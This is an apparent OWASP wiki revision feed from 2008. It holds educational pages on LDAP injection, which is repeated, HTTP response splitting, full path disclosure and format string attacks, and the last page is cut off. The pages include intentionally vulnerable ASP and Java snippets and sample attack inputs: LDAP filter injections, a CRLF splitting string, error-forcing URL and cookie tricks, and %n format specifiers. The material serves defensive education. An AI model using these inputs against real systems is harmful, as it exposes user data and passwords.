		<title>LDAP injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=LDAP_injection&amp;diff=33100"/>
				<updated>2008-07-02T11:30:34Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it’s possible to modify LDAP statements using a local proxy. This could result in the execution of arbitrary command such as granting permissions to unauthorized queries, and content modification inside the LDAP tree.&lt;br /&gt;
The same advanced exploitation techniques available in SQL Injection can be similarly applied in LDAP Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In a page with a user search form, the following code is responsible to catch input value and generate a LDAP query that will be used in LDAP database.&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;text&amp;quot; size=20 name=&amp;quot;userName&amp;quot;&amp;gt;Insert the username&amp;lt;/input&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The  LDAP query is narrowed down for performance and the underlying code for this function might be the following:&lt;br /&gt;
  String ldapSearchQuery = &amp;quot;(cn=&amp;quot; + $userName + &amp;quot;)&amp;quot;;&lt;br /&gt;
  System.out.println(ldapSearchQuery); &lt;br /&gt;
&lt;br /&gt;
Case the variable $userName is not validated, it could be possible accomplish LDAP injection, as follows:&lt;br /&gt;
 *If a user puts “*” on box search, the system may return all the usernames on the LDAP base&lt;br /&gt;
 *If a user puts “jonys) (| (password = * ) )”, it will generate the code bellow revealing jonys’ password&lt;br /&gt;
 ( cn = jonys ) ( | (password = * ) )&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following vulnerable code is used in an ASP web application which provides login with LDAP data base. &lt;br /&gt;
On line 11, the variable userName is initialized and validated to check if it’s not in blank. Then, the content of this variable is used to construct a LDAP query used by SearchFilter on line 28. The attacker has the chance specify what will be queried on LDAP server, and see the result on the line 33 to 41, are all results and their attributes are displayed.&lt;br /&gt;
&lt;br /&gt;
Commented vulnerable asp code:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
 1.	&amp;lt;html&amp;gt;&lt;br /&gt;
 2.	&amp;lt;body&amp;gt;&lt;br /&gt;
 3.	&amp;lt;%@ Language=VBScript %&amp;gt;&lt;br /&gt;
 4.	&amp;lt;%&lt;br /&gt;
 5.	Dim userName&lt;br /&gt;
 6.	Dim filter&lt;br /&gt;
 7.	Dim ldapObj&lt;br /&gt;
 8.		&lt;br /&gt;
 9.	Const LDAP_SERVER = &amp;quot;ldap.example&amp;quot;&lt;br /&gt;
 10.	&lt;br /&gt;
 11.	userName = Request.QueryString(&amp;quot;user&amp;quot;)&lt;br /&gt;
 12.	&lt;br /&gt;
 13.	if( userName = &amp;quot;&amp;quot; ) then&lt;br /&gt;
 14.	Response.Write(&amp;quot;Invalid request. Please specify a valid&lt;br /&gt;
 15.	user name&amp;quot;)&lt;br /&gt;
 16.	Response.End()&lt;br /&gt;
 17.	end if&lt;br /&gt;
 18.	&lt;br /&gt;
 19.	filter = &amp;quot;(uid=&amp;quot; + CStr(userName) + &amp;quot;)&amp;quot; ' searching for the  user entry &lt;br /&gt;
 20.	&lt;br /&gt;
 21.	'Creating the LDAP object and setting the base dn&lt;br /&gt;
 22.	Set ldapObj = Server.CreateObject(&amp;quot;IPWorksASP.LDAP&amp;quot;)&lt;br /&gt;
 23.	ldapObj.ServerName = LDAP_SERVER&lt;br /&gt;
 24.	ldapObj.DN = &amp;quot;ou=people,dc=spilab,dc=com&amp;quot;&lt;br /&gt;
 25.	&lt;br /&gt;
 26.	'Setting the search filter&lt;br /&gt;
 27.	ldapObj.SearchFilter = filter&lt;br /&gt;
 28.	&lt;br /&gt;
 29.	ldapObj.Search&lt;br /&gt;
 30.	&lt;br /&gt;
 31.	'Showing the user information&lt;br /&gt;
 32.	While ldapObj.NextResult = 1&lt;br /&gt;
 33.	Response.Write(&amp;quot;&amp;lt;p&amp;gt;&amp;quot;)&lt;br /&gt;
 34.	&lt;br /&gt;
 35.	Response.Write(&amp;quot;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;User information for: &amp;quot; + &lt;br /&gt;
 36.	ldapObj.AttrValue(0) + &amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
 37.	For i = 0 To ldapObj.AttrCount -1&lt;br /&gt;
 38.	Response.Write(&amp;quot;&amp;lt;b&amp;gt;&amp;quot; + ldapObj.AttrType(i) +&amp;quot;&amp;lt;/b&amp;gt;: &amp;quot; +&lt;br /&gt;
 39.	ldapObj.AttrValue(i) + &amp;quot;&amp;lt;br&amp;gt;&amp;quot; )&lt;br /&gt;
 40.	Next&lt;br /&gt;
 41.	Response.Write(&amp;quot;&amp;lt;/p&amp;gt;&amp;quot;)&lt;br /&gt;
 42.	Wend&lt;br /&gt;
 43.	%&amp;gt;&lt;br /&gt;
 44.	&amp;lt;/body&amp;gt;&lt;br /&gt;
 45.	&amp;lt;/html&amp;gt;   &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In the example above, we send the * character in the user parameter which will result in the filter variable in the code to be initialized with (uid=*). The resulting LDAP statement will make the server return any object that contains a uid attribute like username.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; http://www.some-site.org/index.asp?user=*  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Interpreter Injection]]&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Command Injection]]&lt;br /&gt;
*[[Relative Path Traversal]]&lt;br /&gt;
*[[Resource Injection]]&lt;br /&gt;
*[[Path Manipulation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf&lt;br /&gt;
&lt;br /&gt;
* http://www.ietf.org/rfc/rfc1960.txt A String Representation of LDAP Search Filters (RFC1960)&lt;br /&gt;
&lt;br /&gt;
* http://www.redbooks.ibm.com/redbooks/SG244986.html IBM RedBooks - Understanding LDAP&lt;br /&gt;
&lt;br /&gt;
* http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=LDAP_injection&amp;diff=33099</id>
		<title>LDAP injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=LDAP_injection&amp;diff=33099"/>
				<updated>2008-07-02T11:30:22Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it’s possible to modify LDAP statements using a local proxy. This could result in the execution of arbitrary command such as granting permissions to unauthorized queries, and content modification inside the LDAP tree.&lt;br /&gt;
The same advanced exploitation techniques available in SQL Injection can be similarly applied in LDAP Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In a page with a user search form, the following code is responsible to catch input value and generate a LDAP query that will be used in LDAP database.&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;text&amp;quot; size=20 name=&amp;quot;userName&amp;quot;&amp;gt;Insert the username&amp;lt;/input&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The  LDAP query is narrowed down for performance and the underlying code for this function might be the following:&lt;br /&gt;
  String ldapSearchQuery = &amp;quot;(cn=&amp;quot; + $userName + &amp;quot;)&amp;quot;;&lt;br /&gt;
  System.out.println(ldapSearchQuery); &lt;br /&gt;
&lt;br /&gt;
Case the variable $userName is not validated, it could be possible accomplish LDAP injection, as follows:&lt;br /&gt;
 *If a user puts “*” on box search, the system may return all the usernames on the LDAP base&lt;br /&gt;
 *If a user puts “jonys) (| (password = * ) )”, it will generate the code bellow revealing jonys’ password&lt;br /&gt;
 ( cn = jonys ) ( | (password = * ) )&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following vulnerable code is used in an ASP web application which provides login with LDAP data base. &lt;br /&gt;
On line 11, the variable userName is initialized and validated to check if it’s not in blank. Then, the content of this variable is used to construct a LDAP query used by SearchFilter on line 28. The attacker has the chance specify what will be queried on LDAP server, and see the result on the line 33 to 41, are all results and their attributes are displayed.&lt;br /&gt;
&lt;br /&gt;
Commented vulnerable asp code:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
 1.	&amp;lt;html&amp;gt;&lt;br /&gt;
 2.	&amp;lt;body&amp;gt;&lt;br /&gt;
 3.	&amp;lt;%@ Language=VBScript %&amp;gt;&lt;br /&gt;
 4.	&amp;lt;%&lt;br /&gt;
 5.	Dim userName&lt;br /&gt;
 6.	Dim filter&lt;br /&gt;
 7.	Dim ldapObj&lt;br /&gt;
 8.		&lt;br /&gt;
 9.	Const LDAP_SERVER = &amp;quot;ldap.example&amp;quot;&lt;br /&gt;
 10.	&lt;br /&gt;
 11.	userName = Request.QueryString(&amp;quot;user&amp;quot;)&lt;br /&gt;
 12.	&lt;br /&gt;
 13.	if( userName = &amp;quot;&amp;quot; ) then&lt;br /&gt;
 14.	Response.Write(&amp;quot;Invalid request. Please specify a valid&lt;br /&gt;
 15.	user name&amp;quot;)&lt;br /&gt;
 16.	Response.End()&lt;br /&gt;
 17.	end if&lt;br /&gt;
 18.	&lt;br /&gt;
 19.	filter = &amp;quot;(uid=&amp;quot; + CStr(userName) + &amp;quot;)&amp;quot; ' searching for the  user entry &lt;br /&gt;
 20.	&lt;br /&gt;
 21.	'Creating the LDAP object and setting the base dn&lt;br /&gt;
 22.	Set ldapObj = Server.CreateObject(&amp;quot;IPWorksASP.LDAP&amp;quot;)&lt;br /&gt;
 23.	ldapObj.ServerName = LDAP_SERVER&lt;br /&gt;
 24.	ldapObj.DN = &amp;quot;ou=people,dc=spilab,dc=com&amp;quot;&lt;br /&gt;
 25.	&lt;br /&gt;
 26.	'Setting the search filter&lt;br /&gt;
 27.	ldapObj.SearchFilter = filter&lt;br /&gt;
 28.	&lt;br /&gt;
 29.	ldapObj.Search&lt;br /&gt;
 30.	&lt;br /&gt;
 31.	'Showing the user information&lt;br /&gt;
 32.	While ldapObj.NextResult = 1&lt;br /&gt;
 33.	Response.Write(&amp;quot;&amp;lt;p&amp;gt;&amp;quot;)&lt;br /&gt;
 34.	&lt;br /&gt;
 35.	Response.Write(&amp;quot;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;User information for: &amp;quot; + &lt;br /&gt;
 36.	ldapObj.AttrValue(0) + &amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
 37.	For i = 0 To ldapObj.AttrCount -1&lt;br /&gt;
 38.	Response.Write(&amp;quot;&amp;lt;b&amp;gt;&amp;quot; + ldapObj.AttrType(i) +&amp;quot;&amp;lt;/b&amp;gt;: &amp;quot; +&lt;br /&gt;
 39.	ldapObj.AttrValue(i) + &amp;quot;&amp;lt;br&amp;gt;&amp;quot; )&lt;br /&gt;
 40.	Next&lt;br /&gt;
 41.	Response.Write(&amp;quot;&amp;lt;/p&amp;gt;&amp;quot;)&lt;br /&gt;
 42.	Wend&lt;br /&gt;
 43.	%&amp;gt;&lt;br /&gt;
 44.	&amp;lt;/body&amp;gt;&lt;br /&gt;
 45.	&amp;lt;/html&amp;gt;   &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In the example above, we send the * character in the user parameter which will result in the filter variable in the code to be initialized with (uid=*). The resulting LDAP statement will make the server return any object that contains a uid attribute like username.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; http://www.some-site.org/index.asp?user=*  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Interpreter Injection]]&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Command Injection]]&lt;br /&gt;
*[[Relative Path Traversal]]&lt;br /&gt;
*[[Resource Injection]]&lt;br /&gt;
*[[Path Manipulation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf&lt;br /&gt;
&lt;br /&gt;
* http://www.ietf.org/rfc/rfc1960.txt A String Representation of LDAP Search Filters (RFC1960)&lt;br /&gt;
&lt;br /&gt;
* http://www.redbooks.ibm.com/redbooks/SG244986.html IBM RedBooks - Understanding LDAP&lt;br /&gt;
&lt;br /&gt;
* http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=33097</id>
		<title>HTTP Response Splitting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=33097"/>
				<updated>2008-07-02T11:28:21Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
HTTP response splitting vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
* Data enters a web application through an untrusted source, most frequently an HTTP request. &lt;br /&gt;
* The data is included in an HTTP response header sent to a web user without being validated for malicious characters. &lt;br /&gt;
&lt;br /&gt;
As with many software security vulnerabilities, HTTP response splitting is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.&lt;br /&gt;
&lt;br /&gt;
To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String author = request.getParameter(AUTHOR_PARAM);&lt;br /&gt;
	...&lt;br /&gt;
	Cookie cookie = new Cookie(&amp;quot;author&amp;quot;, author);&lt;br /&gt;
        cookie.setMaxAge(cookieExpiration);&lt;br /&gt;
        response.addCookie(cookie);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming a string consisting of standard alpha-numeric characters, such as &amp;quot;Jane Smith&amp;quot;, is submitted in the request the HTTP response including this cookie might take the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Jane Smith&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as &amp;quot;Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...&amp;quot;, then the HTTP response would be split into two responses of the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Wiley Hacker&lt;br /&gt;
	&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting and page hijacking.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Cross-User Defacement]]&lt;br /&gt;
*[[Cache Poisoning]]&lt;br /&gt;
*[[Cross-Site Scripting]]&lt;br /&gt;
*[[Page Hijacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.infosecwriters.com/text_resources/pdf/HTTP_Response.pdf - HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* http://www.securiteam.com/securityreviews/5WP0E2KFGK.html - Introdution to HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* Watchfire Whitepaper: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics Whitepaper[http://download.watchfire.com/ttl/wp/HTTPResponseSplitting.pdf?file=HTTPResponseSplitting.pdf&amp;amp;authToken=1214447561_257e36e250a83a8e5942584866d295ee]&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Protocol Manipulation]]&lt;br /&gt;
&lt;br /&gt;
[[Category: Attack]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Full_Path_Disclosure&amp;diff=33095</id>
		<title>Full Path Disclosure</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Full_Path_Disclosure&amp;diff=33095"/>
				<updated>2008-07-02T11:25:37Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Full Path Disclosure (AKA, FPD) vulnerabilities enable the attacker to see the path to the webroot/file.  Eg: /home/omg/htdocs/file/. &lt;br /&gt;
Certain vulnerabilities such as using the load_file() (within an SQL injection) query to view page sources require the attacker to have the full path to the file they wish to view.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
*  '''Empty Array'''&lt;br /&gt;
&lt;br /&gt;
If we have a site that uses a method of requesting a page like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://site.com/index.php?page=about&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can use a method of opening and closing braces and causing the page to output an error.  This method would look like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://site.com/index.php?page[]=about&amp;lt;/pre&amp;gt;&lt;br /&gt;
This renders the page defunct thus spitting out an error:&lt;br /&gt;
&amp;lt;pre&amp;gt;Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84&lt;br /&gt;
Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/index.php on line 131&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  '''Null Session Cookie'''&lt;br /&gt;
&lt;br /&gt;
Another popular and very reliable method of producing errors containing a FPD is to give the page a nulled session using Javascript Injections.&lt;br /&gt;
A simple injection using this method would look something like so:&lt;br /&gt;
&amp;lt;pre&amp;gt;javascript:void(document.cookie=&amp;quot;PHPSESSID=&amp;quot;);&amp;lt;/pre&amp;gt;&lt;br /&gt;
By simply setting the PHPSESSID cookie to nothing (null) we get an error.&lt;br /&gt;
&amp;lt;pre&amp;gt;Warning: session_start() [function.session-start]: The session id contains illegal characters, &lt;br /&gt;
valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Relative Path Traversal]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
This vulnerability is prevented simply by turning error reporting off so your code does not spit out errors.&lt;br /&gt;
&amp;lt;pre&amp;gt;error_reporting(0);&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm&lt;br /&gt;
&lt;br /&gt;
*[http://www.enigmagroup.org/ Articled summarised from Full Path Disclosure article by haZed on EnigmaGroup.org.]&lt;br /&gt;
&lt;br /&gt;
*[http://www.enigmagroup.org/pages/view_articles/artID/175/ Original article location (registration required).]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33094</id>
		<title>Format string attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33094"/>
				<updated>2008-07-02T11:24:51Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. This way, the attacker could execute code, read the stack or cause segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.&lt;br /&gt;
   &lt;br /&gt;
To understand the attack it’s necessary to explain the components that constitute it. They are:&lt;br /&gt;
•The '''Format Function''' is an ANSI C conversion function, like '''printf, fprintf''', which converts primitive variable of the programming language in a human readable string representation. &lt;br /&gt;
&lt;br /&gt;
•The '''Format String''' is the argument of the Format Function and is an ASCII Z string which contains text and format parameters, like: '''printf (&amp;quot;The magic number is: %d\n&amp;quot;, 1911)''';&lt;br /&gt;
&lt;br /&gt;
•The '''Format String Parameter''', like '''%x %s''' defines the type of conversion of the format function.&lt;br /&gt;
&lt;br /&gt;
The attack could be executed when the application doesn’t validate properly the submitted input. In this case if a Format Strings parameter, like %x, is inserted in the posted data,  the string is parsed by the Format Function the conversion specified in the parameters is executed.   However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.&lt;br /&gt;
&lt;br /&gt;
This way is possible to define a well crafted input that could change the behavior of the format function permitting the attacker to cause deny of service or to execute arbitrary commands.&lt;br /&gt;
&lt;br /&gt;
If the application uses Format Functions in the source-code which is able to interpret formatting characters, the attacker could explore the vulnerability inserting formatting characters in a form of the website. For example, the '''printf''' function is used to print the username inserted in some fields of the page, the website could be vulnerable to this kind of attack, as showed below:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
Following some examples in the table 2 of Format Functions, which if not  treated can expose the application to the Format String Attack.&lt;br /&gt;
&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Format function&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
|fprint&lt;br /&gt;
|Writes the printf to a file&lt;br /&gt;
|-&lt;br /&gt;
|printf&lt;br /&gt;
|Output a formatted string&lt;br /&gt;
|-&lt;br /&gt;
|sprintf&lt;br /&gt;
|Prints into a string&lt;br /&gt;
|-&lt;br /&gt;
|snprintf&lt;br /&gt;
|Prints into a string checking the length&lt;br /&gt;
|-&lt;br /&gt;
|vfprintf&lt;br /&gt;
|Prints the a va_arg structure to a file&lt;br /&gt;
|-&lt;br /&gt;
|vprintf&lt;br /&gt;
|Prints the va_arg structure to stdout&lt;br /&gt;
|-&lt;br /&gt;
|vsprintf&lt;br /&gt;
|Prints the va_arg to a string&lt;br /&gt;
|-&lt;br /&gt;
|vsnprintf&lt;br /&gt;
|Prints the va_arg to a string checking the length&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Table 1. Format Functions'''&lt;br /&gt;
&lt;br /&gt;
Below there are some format parameters which can be used and its consequences:&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%x&amp;quot; Read data from the stack&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%s&amp;quot; Read character strings from the process' memory&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%n&amp;quot; Write an integer to locations in the process' memory&lt;br /&gt;
&lt;br /&gt;
To discover whether  the application is vulnerable to this type of attack, it´s necessary to verify if the format function accepts and parses the format string parameters show in the table 2.&lt;br /&gt;
&lt;br /&gt;
Format strings parameters:&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Parameters&lt;br /&gt;
!Output&lt;br /&gt;
!Passed as&lt;br /&gt;
|-&lt;br /&gt;
|%%&lt;br /&gt;
|% character (literal)&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%p&lt;br /&gt;
|External representation of a pointer to void&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%d&lt;br /&gt;
|Decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%c&lt;br /&gt;
|Character&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|%u&lt;br /&gt;
|Unsigned decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%x&lt;br /&gt;
|Hexadecimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%s&lt;br /&gt;
|String&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%n&lt;br /&gt;
|Writes the number of characters into a pointer&lt;br /&gt;
|Reference&lt;br /&gt;
|}&lt;br /&gt;
'''Table 2. Common parameters use to Format String Attack.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example1===&lt;br /&gt;
